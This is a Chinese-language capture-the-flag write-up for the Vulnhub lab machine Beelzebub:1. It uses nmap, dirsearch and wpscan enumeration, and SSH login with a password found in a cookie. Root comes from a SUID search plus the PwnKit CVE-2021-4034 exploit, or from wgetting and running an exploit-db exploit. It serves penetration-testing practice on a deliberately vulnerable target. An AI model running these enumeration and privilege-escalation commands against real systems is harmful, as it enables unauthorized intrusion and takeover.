一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:Beelzebub:1(10.0.2.9)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/beelzebub-1,742/
二、信息收集
使用nmap主机发现靶机ip10.0.2.9
使用nmap端口扫描发现靶机开放端口:22、80
打开网站发现是Apache2的默认页面
使用dirsearch目录爆破。发现index.php
的响应码是200,但直接访问页面不正常,并且页面显示的Apache/2.4.30
和使用nmap扫描出来的Apache httpd 2.4.29 ((Ubuntu))
不同,怀疑该页面是自己写的。
查看index.php
的页面源码,发现注释:My heart was encrypted, "beelzebub" somehow hacked and decoded it.-md5
使用MD5加密beelzebub
:d18e1e22becbd915b45e0e655429d487
使用dirseach扫描http://10.0.2.9/d18e1e22becbd915b45e0e655429d487/
,发现使用worpress搭建的网站
三、漏洞利用
这里手工没有找到漏洞,直接使用wpscan进行扫描,扫描发现两个用户名:krampus、valak
wpscan --api-token <your token> --url http://10.0.2.9//d18e1e22becbd915b45e0e655429d487/ --enumerate u,p,t --plugins-detection aggressive --detection-mode aggressive
后续尝试使用wpscan对网站进行密码爆破,但爆破不出来,看了大佬的wp,发现在10.0.2.9/d18e1e22becbd915b45e0e655429d487/wp-content/uploads/
里面还有一个页面
输入用户名,点击Say Hi to VALAK!
,查看cookie会显示密码:M4k3Ad3a1
使用用户名密码登录网站发现登录失败,登录ssh登录成功
四、提权
方法一:
使用命令查找具有root权限的文件,发现/usr/lib/policykit-1/polkit-agent-helper-1
,policykit-1
存在漏洞,漏洞编号:CVE-2021-4034和CVE-2021-3560。
find / -perm -u=s 2>/dev/null
下载对应的poc,使用scp上传到靶机,并执行,获取root权限
scp cve-2021-4034.c krampus@10.0.2.9:/home/krampus
gcc -pthread cve-2021-4034.c -o cve-2021-4034 -lcrypt
方法二:
查看命令历史记录,没有被清空,并且能发现可疑记录
cat .bash_history
根据命令操作也能成功提权
wget https://www.exploit-db.com/download/47009
mv 47009 ./exploit.c
gcc exploit.c -o exploit
./exploit
获取flag:
参考链接:(Vulnhub靶场)BEELZEBUB: 1 write up_beelzebub靶机漏洞复现-CSDN博客